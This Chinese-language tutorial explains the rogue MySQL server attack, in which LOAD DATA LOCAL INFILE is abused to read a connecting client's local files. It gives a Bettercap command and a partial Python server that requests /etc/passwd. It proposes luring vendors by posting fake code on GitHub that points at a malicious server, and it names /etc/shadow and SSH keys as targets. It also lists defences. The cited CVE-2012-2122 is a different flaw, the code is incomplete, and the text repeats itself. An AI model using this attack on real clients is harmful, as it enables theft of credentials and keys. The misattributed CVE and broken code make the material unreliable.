从MySQL出发的反击之路
字数 1275 2025-08-27 12:33:43

MySQL客户端文件读取漏洞分析与利用

漏洞概述

MySQL客户端文件读取漏洞(CVE-2012-2122)是一种利用MySQL协议特性实现客户端文件读取的安全问题。该漏洞源于MySQL的LOAD DATA INFILE功能,攻击者可以构造恶意MySQL服务器,诱导客户端连接后读取客户端本地文件。

漏洞原理

正常流程

  1. 客户端向服务端发送请求:"我将把我的data.csv文件给你插入到test表中!"
  2. 服务端响应:"OK,读取你本地data.csv文件并发给我!"
  3. 客户端发送文件内容

恶意流程

  1. 客户端向服务端发送请求(可能是查询版本等常规请求)
  2. 恶意服务端响应:"OK,读取你本地的/etc/passwd文件并发给我!"
  3. 客户端发送/etc/passwd文件内容

技术细节

  • MySQL协议中客户端不存储自身请求,而是通过服务端的响应来执行操作
  • 在连接建立阶段会交换各自功能、创建SSL通道(如果需要)和服务端认证客户端身份
  • 几乎所有MySQL客户端在建立连接后都会发送一个请求(如查询版本信息)
  • 利用LOAD DATA INFILE功能可以读取客户端文件

利用条件

  1. 客户端启用了LOCAL INFILE功能(默认情况下部分客户端可能禁用)
  2. 客户端连接到恶意MySQL服务器
  3. 客户端具有读取目标文件的权限

利用工具

Bettercap集成模块

Bettercap已经集成了恶意MySQL服务器模块,使用简单:

sudo bettercap -eval "set mysql.server.infile /etc/hosts; mysql.server on"

关键代码位于mysql_server.go,主要功能包括:

  • 设置要读取的文件路径
  • 绑定监听端口
  • 处理MySQL协议交互
  • 保存获取的文件内容

Python实现

一个古老的Python实现rogue_mysql_server.py也可用于此漏洞利用。

自行实现

使用Python Twisted框架可以自行实现恶意MySQL服务器:

class MySQLProtocol(Protocol):
    """MySQL协议"""
    GREETING, FIRST_RESP, SECOND_RESP, FILE_READ = range(4)
    
    def __init__(self):
        self.state = self.GREETING
        
    def connectionMade(self):
        # 发送GREETING包
        mysql_greeting = bytes.fromhex('5b0000000a...')
        self.transport.write(mysql_greeting)
        self.state = self.FIRST_RESP
        
    def dataReceived(self, data):
        # 处理不同状态
        if self.state == self.FIRST_RESP:
            # 发送第一个响应包
            first_response_ok = bytes.fromhex('0700000200000002000000')
            self.transport.write(first_response_ok)
            self.state = self.FILE_READ
            
        elif self.state == self.FILE_READ:
            # 发送读文件请求
            filename = '/etc/passwd'
            dump_file = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()
            self.transport.write(dump_file)
            self.state = self.SECOND_RESP
            
        elif self.state == self.SECOND_RESP:
            # 处理接收到的文件内容
            file_content = data[4:len(data)-4].decode()
            # 保存文件内容
            self.transport.write(second_response_ok)
            self.transport.loseConnection()

攻击场景

  1. 被动等待:在3306端口开启恶意服务,等待扫描器或误连的客户端
  2. 主动诱导
    • 在GitHub上传包含各大厂商特征的假代码
    • 在配置文件中加入恶意MySQL服务器地址
    • 当厂商监控到代码并尝试连接时触发漏洞

防御措施

  1. 禁用LOCAL INFILE功能:

    • MySQL客户端连接时添加--disable-local-infile参数
    • 在配置文件中设置local-infile=0
  2. 限制网络访问:

    • 只允许连接到可信的MySQL服务器
    • 使用防火墙规则限制出站连接
  3. 权限控制:

    • 以最小权限运行MySQL客户端
    • 限制客户端对敏感文件的读取权限
  4. 更新客户端:

    • 使用最新版本的MySQL客户端,部分版本默认禁用此功能

扩展利用

  1. 结合其他漏洞(如AWVS 8和10的命令执行)增强攻击效果
  2. 读取更多敏感文件:
    • /etc/passwd
    • /etc/shadow
    • ~/.ssh/id_rsa
    • 应用配置文件

参考链接

MySQL客户端文件读取漏洞分析与利用 漏洞概述 MySQL客户端文件读取漏洞(CVE-2012-2122)是一种利用MySQL协议特性实现客户端文件读取的安全问题。该漏洞源于MySQL的 LOAD DATA INFILE 功能,攻击者可以构造恶意MySQL服务器,诱导客户端连接后读取客户端本地文件。 漏洞原理 正常流程 客户端向服务端发送请求:"我将把我的data.csv文件给你插入到test表中!" 服务端响应:"OK,读取你本地data.csv文件并发给我!" 客户端发送文件内容 恶意流程 客户端向服务端发送请求(可能是查询版本等常规请求) 恶意服务端响应:"OK,读取你本地的/etc/passwd文件并发给我!" 客户端发送/etc/passwd文件内容 技术细节 MySQL协议中客户端不存储自身请求,而是通过服务端的响应来执行操作 在连接建立阶段会交换各自功能、创建SSL通道(如果需要)和服务端认证客户端身份 几乎所有MySQL客户端在建立连接后都会发送一个请求(如查询版本信息) 利用 LOAD DATA INFILE 功能可以读取客户端文件 利用条件 客户端启用了 LOCAL INFILE 功能(默认情况下部分客户端可能禁用) 客户端连接到恶意MySQL服务器 客户端具有读取目标文件的权限 利用工具 Bettercap集成模块 Bettercap已经集成了恶意MySQL服务器模块,使用简单: 关键代码位于 mysql_server.go ,主要功能包括: 设置要读取的文件路径 绑定监听端口 处理MySQL协议交互 保存获取的文件内容 Python实现 一个古老的Python实现 rogue_mysql_server.py 也可用于此漏洞利用。 自行实现 使用Python Twisted框架可以自行实现恶意MySQL服务器: 攻击场景 被动等待 :在3306端口开启恶意服务,等待扫描器或误连的客户端 主动诱导 : 在GitHub上传包含各大厂商特征的假代码 在配置文件中加入恶意MySQL服务器地址 当厂商监控到代码并尝试连接时触发漏洞 防御措施 禁用 LOCAL INFILE 功能: MySQL客户端连接时添加 --disable-local-infile 参数 在配置文件中设置 local-infile=0 限制网络访问: 只允许连接到可信的MySQL服务器 使用防火墙规则限制出站连接 权限控制: 以最小权限运行MySQL客户端 限制客户端对敏感文件的读取权限 更新客户端: 使用最新版本的MySQL客户端,部分版本默认禁用此功能 扩展利用 结合其他漏洞(如AWVS 8和10的命令执行)增强攻击效果 读取更多敏感文件: /etc/passwd /etc/shadow ~/.ssh/id_rsa 应用配置文件 参考链接 Original Research by lightless Bettercap MySQL Server Module MySQL Protocol Documentation